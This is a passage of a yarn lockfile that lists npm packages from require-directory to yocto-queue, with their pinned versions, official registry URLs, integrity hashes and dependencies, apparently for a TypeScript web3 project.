sha512-p3VT+cOEgxFsRRA9X4lkI1E+k2/CtnKtU4gcxyaCUreilL/vqI6CdZ3wxVUx3UOUg+gnUOQQcRI7BmSI656MYA== 1236 | 1237 | require-directory@^2.1.1: 1238 | version "2.1.1" 1239 | resolved "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz" 1240 | integrity sha1-jGStX9MNqxyXbiNE/+f3kqam30I= 1241 | 1242 | resolve@^1.22.0: 1243 | version "1.22.0" 1244 | resolved "https://registry.npmjs.org/resolve/-/resolve-1.22.0.tgz" 1245 | integrity sha512-Hhtrw0nLeSrFQ7phPp4OOcVjLPIeMnRlr5mcnVuMe7M/7eBn98A3hmFRLoFo3DLZkivSYwhRUJTyPyWAk56WLw== 1246 | dependencies: 1247 | is-core-module "^2.8.1" 1248 | path-parse "^1.0.7" 1249 | supports-preserve-symlinks-flag "^1.0.0" 1250 | 1251 | reusify@^1.0.4: 1252 | version "1.0.4" 1253 | resolved "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz" 1254 | integrity sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw== 1255 | 1256 | rpc-websockets@^7.4.2: 1257 | version "7.4.18" 1258 | resolved "https://registry.npmjs.org/rpc-websockets/-/rpc-websockets-7.4.18.tgz" 1259 | integrity sha512-bVu+4qM5CkGVlTqJa6FaAxLbb5uRnyH4te7yjFvoCzbnif7PT4BcvXtNTprHlNvsH+/StB81zUQicxMrUrIomA== 1260 | dependencies: 1261 | "@babel/runtime" "^7.17.2" 1262 | eventemitter3 "^4.0.7" 1263 | uuid "^8.3.2" 1264 | ws "^8.5.0" 1265 | optionalDependencies: 1266 | bufferutil "^4.0.1" 1267 | utf-8-validate "^5.0.2" 1268 | 1269 | run-parallel@^1.1.9: 1270 | version "1.2.0" 1271 | resolved "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz" 1272 | integrity sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA== 1273 | dependencies: 1274 | queue-microtask "^1.2.2" 1275 | 1276 | safe-buffer@^5.0.1, safe-buffer@^5.1.0: 1277 | version "5.2.1" 1278 | resolved "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz" 1279 | integrity sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ== 1280 | 1281 | secp256k1@^4.0.2: 1282 | version "4.0.3" 1283 | resolved "https://registry.npmjs.org/secp256k1/-/secp256k1-4.0.3.tgz" 1284 | integrity sha512-NLZVf+ROMxwtEj3Xa562qgv2BK5e2WNmXPiOdVIPLgs6lyTzMvBq0aWTYMI5XCP9jZMVKOcqZLw/Wc4vDkuxhA== 1285 | dependencies: 1286 | elliptic "^6.5.4" 1287 | node-addon-api "^2.0.0" 1288 | node-gyp-build "^4.2.0" 1289 | 1290 | serialize-javascript@6.0.0: 1291 | version "6.0.0" 1292 | resolved "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.0.tgz" 1293 | integrity sha512-Qr3TosvguFt8ePWqsvRfrKyQXIiW+nGbYpy8XK24NQHE83caxWt+mIymTT19DGFbNWNLfEwsrkSmN64lVWB9ag== 1294 | dependencies: 1295 | randombytes "^2.1.0" 1296 | 1297 | snake-case@^3.0.4: 1298 | version "3.0.4" 1299 | resolved "https://registry.npmjs.org/snake-case/-/snake-case-3.0.4.tgz" 1300 | integrity sha512-LAOh4z89bGQvl9pFfNF8V146i7o7/CqFPbqzYgP+yYzDIDeS9HaNFtXABamRW+AQzEVODcvE79ljJ+8a9YSdMg== 1301 | dependencies: 1302 | dot-case "^3.0.4" 1303 | tslib "^2.0.3" 1304 | 1305 | source-map-js@^1.0.2: 1306 | version "1.0.2" 1307 | resolved "https://registry.npmjs.org/source-map-js/-/source-map-js-1.0.2.tgz" 1308 | integrity sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw== 1309 | 1310 | source-map-support@^0.5.6: 1311 | version "0.5.21" 1312 | resolved "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz" 1313 | integrity sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w== 1314 | dependencies: 1315 | buffer-from "^1.0.0" 1316 | source-map "^0.6.0" 1317 | 1318 | source-map@^0.6.0: 1319 | version "0.6.1" 1320 | resolved "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz" 1321 | integrity sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g== 1322 | 1323 | string-width@^4.1.0, string-width@^4.2.0: 1324 | version "4.2.3" 1325 | resolved "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz" 1326 | integrity sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g== 1327 | dependencies: 1328 | emoji-regex "^8.0.0" 1329 | is-fullwidth-code-point "^3.0.0" 1330 | strip-ansi "^6.0.1" 1331 | 1332 | strip-ansi@^6.0.0, strip-ansi@^6.0.1: 1333 | version "6.0.1" 1334 | resolved "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz" 1335 | integrity sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A== 1336 | dependencies: 1337 | ansi-regex "^5.0.1" 1338 | 1339 | strip-bom@^3.0.0: 1340 | version "3.0.0" 1341 | resolved "https://registry.npmjs.org/strip-bom/-/strip-bom-3.0.0.tgz" 1342 | integrity sha1-IzTBjpx1n3vdVv3vfprj1YjmjtM= 1343 | 1344 | strip-json-comments@3.1.1: 1345 | version "3.1.1" 1346 | resolved "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz" 1347 | integrity sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig== 1348 | 1349 | superstruct@^0.14.2: 1350 | version "0.14.2" 1351 | resolved "https://registry.npmjs.org/superstruct/-/superstruct-0.14.2.tgz" 1352 | integrity sha512-nPewA6m9mR3d6k7WkZ8N8zpTWfenFH3q9pA2PkuiZxINr9DKB2+40wEQf0ixn8VaGuJ78AB6iWOtStI+/4FKZQ== 1353 | 1354 | supports-color@8.1.1: 1355 | version "8.1.1" 1356 | resolved "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz" 1357 | integrity sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q== 1358 | dependencies: 1359 | has-flag "^4.0.0" 1360 | 1361 | supports-color@^7.1.0: 1362 | version "7.2.0" 1363 | resolved "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz" 1364 | integrity sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw== 1365 | dependencies: 1366 | has-flag "^4.0.0" 1367 | 1368 | supports-preserve-symlinks-flag@^1.0.0: 1369 | version "1.0.0" 1370 | resolved "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz" 1371 | integrity sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w== 1372 | 1373 | tailwindcss@^3.0.24: 1374 | version "3.0.24" 1375 | resolved "https://registry.npmjs.org/tailwindcss/-/tailwindcss-3.0.24.tgz" 1376 | integrity sha512-H3uMmZNWzG6aqmg9q07ZIRNIawoiEcNFKDfL+YzOPuPsXuDXxJxB9icqzLgdzKNwjG3SAro2h9SYav8ewXNgig== 1377 | dependencies: 1378 | arg "^5.0.1" 1379 | chokidar "^3.5.3" 1380 | color-name "^1.1.4" 1381 | detective "^5.2.0" 1382 | didyoumean "^1.2.2" 1383 | dlv "^1.1.3" 1384 | fast-glob "^3.2.11" 1385 | glob-parent "^6.0.2" 1386 | is-glob "^4.0.3" 1387 | lilconfig "^2.0.5" 1388 | normalize-path "^3.0.0" 1389 | object-hash "^3.0.0" 1390 | picocolors "^1.0.0" 1391 | postcss "^8.4.12" 1392 | postcss-js "^4.0.0" 1393 | postcss-load-config "^3.1.4" 1394 | postcss-nested "5.0.6" 1395 | postcss-selector-parser "^6.0.10" 1396 | postcss-value-parser "^4.2.0" 1397 | quick-lru "^5.1.1" 1398 | resolve "^1.22.0" 1399 | 1400 | text-encoding-utf-8@^1.0.2: 1401 | version "1.0.2" 1402 | resolved "https://registry.npmjs.org/text-encoding-utf-8/-/text-encoding-utf-8-1.0.2.tgz" 1403 | integrity sha512-8bw4MY9WjdsD2aMtO0OzOCY3pXGYNx2d2FfHRVUKkiCPDWjKuOlhLVASS+pD7VkLTVjW268LYJHwsnPFlBpbAg== 1404 | 1405 | "through@>=2.2.7 <3": 1406 | version "2.3.8" 1407 | resolved "https://registry.npmjs.org/through/-/through-2.3.8.tgz" 1408 | integrity sha1-DdTJ/6q8NXlgsbckEV1+Doai4fU= 1409 | 1410 | to-regex-range@^5.0.1: 1411 | version "5.0.1" 1412 | resolved "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz" 1413 | integrity sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ== 1414 | dependencies: 1415 | is-number "^7.0.0" 1416 | 1417 | toml@^3.0.0: 1418 | version "3.0.0" 1419 | resolved "https://registry.npmjs.org/toml/-/toml-3.0.0.tgz" 1420 | integrity sha512-y/mWCZinnvxjTKYhJ+pYxwD0mRLVvOtdS2Awbgxln6iEnt4rk0yBxeSBHkGJcPucRiG0e55mwWp+g/05rsrd6w== 1421 | 1422 | tr46@~0.0.3: 1423 | version "0.0.3" 1424 | resolved "https://registry.npmjs.org/tr46/-/tr46-0.0.3.tgz" 1425 | integrity sha1-gYT9NH2snNwYWZLzpmIuFLnZq2o= 1426 | 1427 | ts-mocha@^10.0.0: 1428 | version "10.0.0" 1429 | resolved "https://registry.npmjs.org/ts-mocha/-/ts-mocha-10.0.0.tgz#41a8d099ac90dbbc64b06976c5025ffaebc53cb9" 1430 | integrity sha512-VRfgDO+iiuJFlNB18tzOfypJ21xn2xbuZyDvJvqpTbWgkAgD17ONGr8t+Tl8rcBtOBdjXp5e/Rk+d39f7XBHRw== 1431 | dependencies: 1432 | ts-node "7.0.1" 1433 | optionalDependencies: 1434 | tsconfig-paths "^3.5.0" 1435 | 1436 | ts-node@7.0.1: 1437 | version "7.0.1" 1438 | resolved "https://registry.npmjs.org/ts-node/-/ts-node-7.0.1.tgz" 1439 | integrity sha512-BVwVbPJRspzNh2yfslyT1PSbl5uIk03EZlb493RKHN4qej/D06n1cEhjlOJG69oFsE7OT8XjpTUcYf6pKTLMhw== 1440 | dependencies: 1441 | arrify "^1.0.0" 1442 | buffer-from "^1.1.0" 1443 | diff "^3.1.0" 1444 | make-error "^1.1.1" 1445 | minimist "^1.2.0" 1446 | mkdirp "^0.5.1" 1447 | source-map-support "^0.5.6" 1448 | yn "^2.0.0" 1449 | 1450 | tsconfig-paths@^3.5.0: 1451 | version "3.14.1" 1452 | resolved "https://registry.npmjs.org/tsconfig-paths/-/tsconfig-paths-3.14.1.tgz" 1453 | integrity sha512-fxDhWnFSLt3VuTwtvJt5fpwxBHg5AdKWMsgcPOOIilyjymcYVZoCQF8fvFRezCNfblEXmi+PcM1eYHeOAgXCOQ== 1454 | dependencies: 1455 | "@types/json5" "^0.0.29" 1456 | json5 "^1.0.1" 1457 | minimist "^1.2.6" 1458 | strip-bom "^3.0.0" 1459 | 1460 | tslib@^2.0.3: 1461 | version "2.4.0" 1462 | resolved "https://registry.npmjs.org/tslib/-/tslib-2.4.0.tgz" 1463 | integrity sha512-d6xOpEDfsi2CZVlPQzGeux8XMwLT9hssAsaPYExaQMuYskwb+x1x7J371tWlbBdWHroy99KnVB6qIkUbs5X3UQ== 1464 | 1465 | tweetnacl@^1.0.0: 1466 | version "1.0.3" 1467 | resolved "https://registry.npmjs.org/tweetnacl/-/tweetnacl-1.0.3.tgz" 1468 | integrity sha512-6rt+RN7aOi1nGMyC4Xa5DdYiukl2UWCbcJft7YhxReBGQD7OAM8Pbxw6YMo4r2diNEA8FEmu32YOn9rhaiE5yw== 1469 | 1470 | type-detect@^4.0.0, type-detect@^4.0.5: 1471 | version "4.0.8" 1472 | resolved "https://registry.npmjs.org/type-detect/-/type-detect-4.0.8.tgz" 1473 | integrity sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g== 1474 | 1475 | typescript@^4.3.5: 1476 | version "4.7.2" 1477 | resolved "https://registry.npmjs.org/typescript/-/typescript-4.7.2.tgz" 1478 | integrity sha512-Mamb1iX2FDUpcTRzltPxgWMKy3fhg0TN378ylbktPGPK/99KbDtMQ4W1hwgsbPAsG3a0xKa1vmw4VKZQbkvz5A== 1479 | 1480 | utf-8-validate@^5.0.2: 1481 | version "5.0.9" 1482 | resolved "https://registry.npmjs.org/utf-8-validate/-/utf-8-validate-5.0.9.tgz" 1483 | integrity sha512-Yek7dAy0v3Kl0orwMlvi7TPtiCNrdfHNd7Gcc/pLq4BLXqfAmd0J7OWMizUQnTTJsyjKn02mU7anqwfmUP4J8Q== 1484 | dependencies: 1485 | node-gyp-build "^4.3.0" 1486 | 1487 | util-deprecate@^1.0.2: 1488 | version "1.0.2" 1489 | resolved "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz" 1490 | integrity sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8= 1491 | 1492 | uuid@^8.3.2: 1493 | version "8.3.2" 1494 | resolved "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz" 1495 | integrity sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg== 1496 | 1497 | webidl-conversions@^3.0.0: 1498 | version "3.0.1" 1499 | resolved "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-3.0.1.tgz" 1500 | integrity sha1-JFNCdeKnvGvnvIZhHMFq4KVlSHE= 1501 | 1502 | whatwg-url@^5.0.0: 1503 | version "5.0.0" 1504 | resolved "https://registry.npmjs.org/whatwg-url/-/whatwg-url-5.0.0.tgz" 1505 | integrity sha1-lmRU6HZUYuN2RNNib2dCzotwll0= 1506 | dependencies: 1507 | tr46 "~0.0.3" 1508 | webidl-conversions "^3.0.0" 1509 | 1510 | which@2.0.2: 1511 | version "2.0.2" 1512 | resolved "https://registry.npmjs.org/which/-/which-2.0.2.tgz" 1513 | integrity sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA== 1514 | dependencies: 1515 | isexe "^2.0.0" 1516 | 1517 | workerpool@6.2.0: 1518 | version "6.2.0" 1519 | resolved "https://registry.npmjs.org/workerpool/-/workerpool-6.2.0.tgz" 1520 | integrity sha512-Rsk5qQHJ9eowMH28Jwhe8HEbmdYDX4lwoMWshiCXugjtHqMD9ZbiqSDLxcsfdqsETPzVUtX5s1Z5kStiIM6l4A== 1521 | 1522 | wrap-ansi@^7.0.0: 1523 | version "7.0.0" 1524 | resolved "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz" 1525 | integrity sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q== 1526 | dependencies: 1527 | ansi-styles "^4.0.0" 1528 | string-width "^4.1.0" 1529 | strip-ansi "^6.0.0" 1530 | 1531 | wrappy@1: 1532 | version "1.0.2" 1533 | resolved "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz" 1534 | integrity sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8= 1535 | 1536 | ws@^7.4.5: 1537 | version "7.5.8" 1538 | resolved "https://registry.npmjs.org/ws/-/ws-7.5.8.tgz" 1539 | integrity sha512-ri1Id1WinAX5Jqn9HejiGb8crfRio0Qgu8+MtL36rlTA6RLsMdWt1Az/19A2Qij6uSHUMphEFaTKa4WG+UNHNw== 1540 | 1541 | ws@^8.5.0: 1542 | version "8.7.0" 1543 | resolved "https://registry.npmjs.org/ws/-/ws-8.7.0.tgz" 1544 | integrity sha512-c2gsP0PRwcLFzUiA8Mkr37/MI7ilIlHQxaEAtd0uNMbVMoy8puJyafRlm0bV9MbGSabUPeLrRRaqIBcFcA2Pqg== 1545 | 1546 | xtend@^4.0.2: 1547 | version "4.0.2" 1548 | resolved "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz" 1549 | integrity sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ== 1550 | 1551 | y18n@^5.0.5: 1552 | version "5.0.8" 1553 | resolved "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz" 1554 | integrity sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA== 1555 | 1556 | yaml@^1.10.2: 1557 | version "1.10.2" 1558 | resolved "https://registry.npmjs.org/yaml/-/yaml-1.10.2.tgz" 1559 | integrity sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg== 1560 | 1561 | yargs-parser@20.2.4: 1562 | version "20.2.4" 1563 | resolved "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.4.tgz" 1564 | integrity sha512-WOkpgNhPTlE73h4VFAFsOnomJVaovO8VqLDzy5saChRBFQFBoMYirowyW+Q9HB4HFF4Z7VZTiG3iSzJJA29yRA== 1565 | 1566 | yargs-parser@^20.2.2: 1567 | version "20.2.9" 1568 | resolved "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.9.tgz" 1569 | integrity sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w== 1570 | 1571 | yargs-unparser@2.0.0: 1572 | version "2.0.0" 1573 | resolved "https://registry.npmjs.org/yargs-unparser/-/yargs-unparser-2.0.0.tgz" 1574 | integrity sha512-7pRTIA9Qc1caZ0bZ6RYRGbHJthJWuakf+WmHK0rVeLkNrrGhfoabBNdue6kdINI6r4if7ocq9aD/n7xwKOdzOA== 1575 | dependencies: 1576 | camelcase "^6.0.0" 1577 | decamelize "^4.0.0" 1578 | flat "^5.0.2" 1579 | is-plain-obj "^2.1.0" 1580 | 1581 | yargs@16.2.0: 1582 | version "16.2.0" 1583 | resolved "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz" 1584 | integrity sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw== 1585 | dependencies: 1586 | cliui "^7.0.2" 1587 | escalade "^3.1.1" 1588 | get-caller-file "^2.0.5" 1589 | require-directory "^2.1.1" 1590 | string-width "^4.2.0" 1591 | y18n "^5.0.5" 1592 | yargs-parser "^20.2.2" 1593 | 1594 | yn@^2.0.0: 1595 | version "2.0.0" 1596 | resolved "https://registry.npmjs.org/yn/-/yn-2.0.0.tgz" 1597 | integrity sha1-5a2ryKz0CPY4X8dklWhMiOavaJo= 1598 | 1599 | yocto-queue@^0.1.0: 1600 | version "0.1.0" 1601 | resolved "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz" 1602 | integrity sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q== 1603 | --------------------------------------------------------------------------------